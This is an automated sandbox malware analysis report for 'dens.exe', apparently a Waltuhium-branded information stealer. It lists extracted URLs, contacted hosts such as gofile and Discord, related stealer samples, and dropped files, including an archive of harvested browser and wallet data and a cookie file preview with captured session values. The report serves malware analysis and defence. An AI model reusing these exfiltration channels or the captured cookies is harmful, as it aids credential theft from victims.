https://tidelift.com/subscription/pkg/pypi-PROJECT?utm_source=pypi-PROJECT&utm_medium=referral&utm_c	dens.exe, 00000000.00000003.1684040951.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1685131998.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.variomedia.de/	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://img.shields.io/pypi/v/importlib_metadata.svg	dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jaraco/jaraco.functools/issues/5	dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	dens.exe, 00000001.00000003.1778896908.000002D9AC39C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jaraco/backports.tarfile/actions/workflows/main.yml/badge.svg	dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	false		high
https://github.com/pyca/cryptography/issues	dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066236732.000002D9AC930000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp	false		high
https://readthedocs.org/projects/inflect/badge/?version=latest	dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mahler:8092/site-updates.py	dens.exe, 00000001.00000003.2048626589.000002D9AA9FD000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702755471.000002D9AB2F0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041163716.000002D9AA9CE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2046859632.000002D9AA9FC000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039766959.000002D9AA9C5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2049325458.000002D9AA9FF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/waltuhium----------------------	dens.exe, 00000001.00000003.2034615706.000002D9AC1D3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040589307.000002D9ACD94000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034026381.000002D9AC3C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1954169257.000002D9AC3C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc7231#section-4.3.6)	dens.exe, 00000001.00000003.1703084861.000002D9AB375000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702755471.000002D9AB333000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2048780751.000002D9AA9F0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041163716.000002D9AA9CE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2048626589.000002D9AA9D4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039766959.000002D9AA9C5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/	dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.m	dens.exe, 00000001.00000003.1783070234.000002D9AC1C5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776400001.000002D9AC1C1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2032462700.000002D9AC1BB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034615706.000002D9AC1D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	dens.exe, 00000001.00000002.2057356883.000002D9AA84C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	dens.exe, 00000001.00000003.2040028581.000002D9A8F05000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038808296.000002D9A8EE8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057290070.000002D9A8F18000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1693574713.000002D9A8F19000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039627706.000002D9A8EF4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2056310875.000002D9A8F17000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
162.159.138.232	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.128.233	discord.com	United States	13335	CLOUDFLARENETUS	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
45.112.123.126	api.gofile.io	Singapore	16509	AMAZON-02US	false
45.112.123.227	store1.gofile.io	Singapore	16509	AMAZON-02US	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554825
Start date and time:	2024-11-13 00:37:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	84
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	dens.exe
Detection:	MAL
Classification:	mal100.rans.spre.phis.troj.spyw.evad.winEXE@144/329@5/7
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 76% Number of executed functions: 98 Number of non-executed functions: 194
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 2812 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 8184 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: dens.exe

Simulations

Behavior and APIs

Time	Type	Description
18:38:32	API Interceptor	7x Sleep call for process: WMIC.exe modified
18:38:40	API Interceptor	2x Sleep call for process: svchost.exe modified
18:38:41	API Interceptor	13x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	Sipari_.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	IgTdifcj7HukYrd.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Orden de Compra No. 434565344657.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Pr6Fu6VZK3.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/
	Pr6Fu6VZK3.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/
	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Get hash	malicious	Blank Grabber, Creal Stealer	Browse	ip-api.com/line/?fields=hosting
	Built.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/line/?fields=hosting
	main.exe	Get hash	malicious	DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT	Browse	ip-api.com/json/
	ypauPrrA08.exe	Get hash	malicious	Ades Stealer, BlackGuard, VEGA Stealer	Browse	ip-api.com/xml
	Sara.exe.bin.exe	Get hash	malicious	Unknown	Browse	ip-api.com/csv

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	Sipari_.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	IgTdifcj7HukYrd.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Orden de Compra No. 434565344657.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Pr6Fu6VZK3.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	Pr6Fu6VZK3.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Get hash	malicious	Blank Grabber, Creal Stealer	Browse	208.95.112.1
	Built.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	main.exe	Get hash	malicious	DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT	Browse	208.95.112.1
	ypauPrrA08.exe	Get hash	malicious	Ades Stealer, BlackGuard, VEGA Stealer	Browse	208.95.112.1
	Sara.exe.bin.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
discord.com	Xyq6rvzLJs.exe	Get hash	malicious	SilverRat	Browse	162.159.137.232
	00514DIRyT.exe	Get hash	malicious	GO Stealer	Browse	162.159.136.232
	yuki.exe	Get hash	malicious	Luna Stealer	Browse	162.159.138.232
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse	162.159.135.232
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse	162.159.137.232
	file.exe	Get hash	malicious	Growtopia	Browse	162.159.138.232
	file.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	gMd6of50Do.exe	Get hash	malicious	Blank Grabber	Browse	162.159.136.232
	El9HaBFrFM.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	aLRjksjY78.exe	Get hash	malicious	HackBrowser	Browse	162.159.136.232
raw.githubusercontent.com	Selected_Items.vbs	Get hash	malicious	FormBook	Browse	185.199.109.133
	main.exe	Get hash	malicious	DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT	Browse	185.199.109.133
	crss.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	bG2aSZYhDR.bat	Get hash	malicious	Unknown	Browse	185.199.109.133
	https://thrifty-wombat-mjszmd.mystrikingly.com/	Get hash	malicious	Unknown	Browse	185.199.111.133
	scripttodo.ps1	Get hash	malicious	Unknown	Browse	185.199.111.133
	scripttodo (3).ps1	Get hash	malicious	Unknown	Browse	185.199.111.133
	4YgQ2xN41W.lnk	Get hash	malicious	RDPWrap Tool, Ducktail	Browse	185.199.110.133
	SecuriteInfo.com.Win32.MalwareX-gen.20028.17631.exe	Get hash	malicious	AsyncRAT	Browse	185.199.111.133
	List Furniture.bat	Get hash	malicious	Python Stealer, Braodo	Browse	185.199.110.133
store1.gofile.io	SecuriteInfo.com.FileRepMalware.22561.28030.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	45.112.123.227
	SecuriteInfo.com.Win64.Malware-gen.13500.20938.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	45.112.123.227
	General Agreement.docx.exe	Get hash	malicious	Python Stealer, Babadeda, Exela Stealer, Waltuhium Grabber	Browse	45.112.123.227
	NdEIhUToOm.exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse	45.112.123.227
	LgZMfpsDaL.exe	Get hash	malicious	Exela Stealer, Growtopia, Python Stealer	Browse	45.112.123.227
	WCA-Cooperative-Agreement.docx.exe	Get hash	malicious	Babadeda, Exela Stealer, Python Stealer, Waltuhium Grabber	Browse	45.112.123.227
	Exela(1).exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse	45.112.123.227
	RebelCracked.exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse	45.112.123.227
	Exter.exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse	45.112.123.227
	ZK9XFb424l.exe	Get hash	malicious	Python Stealer, Creal Stealer, XWorm	Browse	45.112.123.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	fefbBqMKcU.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	yh5At5T1Zs.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	https://qacvconsulting.aha.io/shared/9d080aba3b5bbe9dd55708b4063b235a	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://qacvconsulting.aha.io/shared/9d080aba3b5bbe9dd55708b4063b235a	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://fileshareiytrardocumentatabajhgaplafa.com/excel/	Get hash	malicious	Unknown	Browse	104.21.84.87
	CVMrdORGbI.exe	Get hash	malicious	LummaC	Browse	172.67.179.113
	new.bat	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.150.243
	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	188.114.96.3
TUT-ASUS	Sipari_.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	https://t.ly/SjDNX	Get hash	malicious	Python Stealer, Braodo	Browse	208.95.112.1
	IgTdifcj7HukYrd.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Orden de Compra No. 434565344657.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Pr6Fu6VZK3.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	Pr6Fu6VZK3.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Get hash	malicious	Blank Grabber, Creal Stealer	Browse	208.95.112.1
	Built.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	main.exe	Get hash	malicious	DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT	Browse	208.95.112.1
	ypauPrrA08.exe	Get hash	malicious	Ades Stealer, BlackGuard, VEGA Stealer	Browse	208.95.112.1
CLOUDFLARENETUS	fefbBqMKcU.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	yh5At5T1Zs.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	https://qacvconsulting.aha.io/shared/9d080aba3b5bbe9dd55708b4063b235a	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://qacvconsulting.aha.io/shared/9d080aba3b5bbe9dd55708b4063b235a	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://fileshareiytrardocumentatabajhgaplafa.com/excel/	Get hash	malicious	Unknown	Browse	104.21.84.87
	CVMrdORGbI.exe	Get hash	malicious	LummaC	Browse	172.67.179.113
	new.bat	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.150.243
	file.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	188.114.96.3
FASTLYUS	https://qacvconsulting.aha.io/shared/9d080aba3b5bbe9dd55708b4063b235a	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://qacvconsulting.aha.io/shared/9d080aba3b5bbe9dd55708b4063b235a	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://sawfish-groundhog-d6h6.squarespace.com/	Get hash	malicious	Unknown	Browse	151.101.192.238
	EXT__Transaction Details for Martibs -462fd4a1151861ecbc00b016e69e7825.eml	Get hash	malicious	Unknown	Browse	151.101.129.44
	https://disq.us/?url=https%3A%2F%2Fntx.redblocks.io%2F&key=sKOAfZD3HOV0MD3CksmWcg	Get hash	malicious	Unknown	Browse	151.101.64.64
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUM1RXUzBHU1RDUjlQOFBPUUE4QVRaS0pPSC4u	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	original.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://sites.google.com/lecollectivem.com/rfp/home	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://lnkfwd.com/u/MhDkLABR	Get hash	malicious	HTMLPhisher	Browse	151.101.195.52
	https://welsfargo.com-onlinebanking.com/Xb1ExYUR6VXl0bGxmVDdXaVpyTzlKZUtudEIxbGsxOGY1VzhSNFZvZVlFTDk5T0c2Q25PS3hwcEYrL1dZdG8vVzZIUS9mVHczWklvQ1R0U1ZXaVN0L2RuN0VIbklqdzFUWVROV3E4ZnVldDhWUmZ3RDRZWmFKY0ZJOUlTWWlqWHVxNDlVTUYxYVFDQ1dBWTd0bzVKbGIrL25HZVVOTHNSMnNBcGJuaVRrZW82VHY3RVlnYThxbUpLN2lBPT0tLTRmTmYwUzZkLzlIS1VWQ2otLVNXQlpnWjRKZDUxaGNXQmpCWksyN3c9PQ==?cid=2251351141	Get hash	malicious	KnowBe4	Browse	199.232.196.193

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI62482\VCRUNTIME140.dll	client.exe	Get hash	malicious	Unknown	Browse
	client.exe	Get hash	malicious	Unknown	Browse
	Runtime.exe	Get hash	malicious	Unknown	Browse
	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Get hash	malicious	Blank Grabber, Creal Stealer	Browse
	Built.exe	Get hash	malicious	Blank Grabber	Browse
	windows update.exe	Get hash	malicious	Unknown	Browse
	w32e.exe	Get hash	malicious	Unknown	Browse
	3ORCHAMYoz.exe	Get hash	malicious	Unknown	Browse
	yuki.exe	Get hash	malicious	Luna Stealer	Browse
	CIEfSpAIUS.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307374740410517
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrb:KooCEYhgYEL0In
MD5:	98D03E0F8D99A86AB0ACFCB640E68905
SHA1:	36C04F800E18FD5153BAB3C8D09EE33F01F29DD7
SHA-256:	0BCDED950CA46CA6C736CCF7680C1228BBFBFBEF384E17F67A0116EE03696430
SHA-512:	22A92781C6E8B0F3FA0F34801C11AD4EC9F08992AC85DEDF295E379FD790FA388AEE20937E77AF51525F399A3C3343ECC722170111F6D186CA2651151D55FEC3
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6c788e65, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221719746708719
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	CFBBBCCE8085777D854698AA8146C7DF
SHA1:	1B4DF86344EDF8E3AEAA7817F6950206131B89BC
SHA-256:	DD0A0DDB81643AA5819AF5116A243D4345E34852ED3A23335DBCD2C5CA9C8B8F
SHA-512:	C0E625D8B93A9BC9745A445C5DABE4499E27B1169423689D11EC0A1D3DCC6BC400AEF3CA41349266142217174310FB330B2F42964F2552AFE9279203DE990C9F
Malicious:	false
Preview:	lx.e... .......A.......X\...;...{......................0.!..........{A.(&...\|U.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................\..(&...\|U.................V.^.(&...\|U..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07723066764839415
Encrypted:	false
SSDEEP:	3:9dYe6muc5Cjn13a/7mWytollcVO/lnlZMxZNQl:9dzock53qasOewk
MD5:	E17C6F5FFDE3899B30A8C81C0FF23E56
SHA1:	91309328CC6346CF3908F19079CD942BA2D2010A
SHA-256:	29BA53587B19806A77D35F39819ABA3E5D00766F79CD28951D0E16B77B5DA68B
SHA-512:	3597A2F5BE096EF569AF93CC6E96CC21CF083D1E0ADAE2FAC698726C1AFED3C8C43AB401646A097E80F9B155FB89B32F05572016EEF0B984A7EE49D5F24C2078
Malicious:	false
Preview:	eM.......................................;...{..(&...\|U......{A..............{A......{A..........{A]................V.^.(&...\|U.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	700483
Entropy (8bit):	7.99796892056391
Encrypted:	true
SSDEEP:	12288:otZnuQ8TeeQU9Ejr8sTa/uGx6HJ3aLE7Wbc5SZ0xEDSb9n2opzUHfGQgsPHuZfa+:otNSTDQyQ8s9FH9aLEabcEZmEDS9n2ov
MD5:	46C07A388E1138A3B56A7D82194850AA
SHA1:	76A757B833BE2C2DA04F695B392E15F754048FEF
SHA-256:	DCE999E9A06A12CB6601C740C0CE2D4F536D62D4F6F3363F1B595CBE8E395D67
SHA-512:	81A50DA805827FD57BAD6286E2909AFD5FE520235325CF8ED27E5F4CFC5B2980383C60C9B5977AE39EB22559E328F4B4AAB7C8E984BCF9BF39C62A2A23B22630
Malicious:	false
Preview:	PK.........lY................Browsers/PK.........lY................Wallets/PK.........lY.^.dc.........Display (1).pngl.{<...?~m&...@%.&EZ...C...&dr....8F...X...sN..r..cB.sf.l3..z.?...w.}..m.u]..z^..q?<..+...p..aa....a.,..........%..yo ..C=......W...P./...P....>.........3......Z../n.$.4..=.{y=....>.RW...6wg...}7.<..#F.X........B.3V.C.........F....U.."~......Q.........\|..Q.5X&..Z]D7d...w...s=X"s!..+.b....Wq.I......5..}o...z5.B..OT.:^w../.e..<.....T......+.G..&.Om.L.$.9%.%$....65c..}..snk.f.Cu...........-u.1.{7.....9.I....d..O............{a1..~.\|"<..w......:...jB./QF..^S.mQ{..C...,j.....7d.......3...K..y...x./.\.1y..<..<8a..L.Vc.9.{..S.N......S..H.3R..u.?.S..N..l....$..9#....(.^3.qk.Q.D.^.d...Rc....../..OT<,..Ho...~n.i.s..C.j.u..Ec..O.Z....=.e?.u..V.......nf.M-r....e{G.OxChS.....?.Tt..6...Y..f...C....R.e....>w....ot....L.../j...-...lL'.%......lc..,.]..d...w;9.<V.....<h......2.......q{.T.r#..m..B..~...#../.P..[.*.7`....]..

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (522), with CRLF line terminators
Category:	dropped
Size (bytes):	3485
Entropy (8bit):	5.880558909658437
Encrypted:	false
SSDEEP:	96:L3JMpoO2gFcRqFZL2L+yLstv3pPDYReynqsbCw4R2cksr:tFFRiNEUd7
MD5:	1D7CE3DBF44109F28568453671E258B7
SHA1:	C5A3D4AD80D6D7221ABB0ECD32978442B853D067
SHA-256:	18A6A15B4C803D660F5EBE7AF81D7F2C56DB6477D29617AF0DA2E26F940622B8
SHA-512:	C25B46CF6E1B97F0271E69D195C8496C4A4119AA2849CECD8B5194675A6D1559102147E93DB49C94270D8461A3532E6C08953C4A36C775F831CDCB4A1184109D
Malicious:	true
Preview:	----------------------https://t.me/waltuhium----------------------..======================================================================...google.com.TRUE./.FALSE.13356618603686193.NID.511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk..support.microsoft.com.TRUE./.TRUE.13340887435186329..AspNetCore.AuthProvider.True..support.microsoft.com.TRUE./signin-oidc.TRUE.13340887735359381..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.N..support.microsoft.com.TRUE./signin-oidc.TRUE.13340887735359334..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkHB6alahUr8qJ7G_3AejtooymTWCzyO89hshJeX8Gh78kohbIw0IQY4v6LZriT4P2fGeBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VSMOfm-L0RnS8.N..support.office.com.TRUE./.TRUE.133725

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	4.129413584613241
Encrypted:	false
SSDEEP:	24:L+xsMvXvxsajXJl1QXbsBQXY6CQExXBYGQFEDK4:LGlVVgmHgWdIoV
MD5:	3DE5FD5C445A9C1154AA34A5413FE75E
SHA1:	3E38D3C8483DA8D77CA85435D5574BD21F8446C9
SHA-256:	83920E786DFC95B7314C919883286AC1F57EB3FD16F91606C12956F1E6BF6107
SHA-512:	F7230C9C318D46DE224CD2BEDAFFEFFC89C16833E7414BE27598A1BEC0C8626C2586B28932AB849C277A3FF5743A11FD1F3AAC2F17B55AB91E4F887713A39B5D
Malicious:	true
Preview:	----------------------https://t.me/waltuhium----------------------..======================================================================..ID: 1..RL: https://support.mozilla.org/products/firefox..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 2..RL: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 3..RL: https://www.mozilla.org/contribute/..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 4..RL: https://www.mozilla.org/about/..Title: None..Visit Count: 0..Last Visit Time: None..============================================================================

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Historys.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
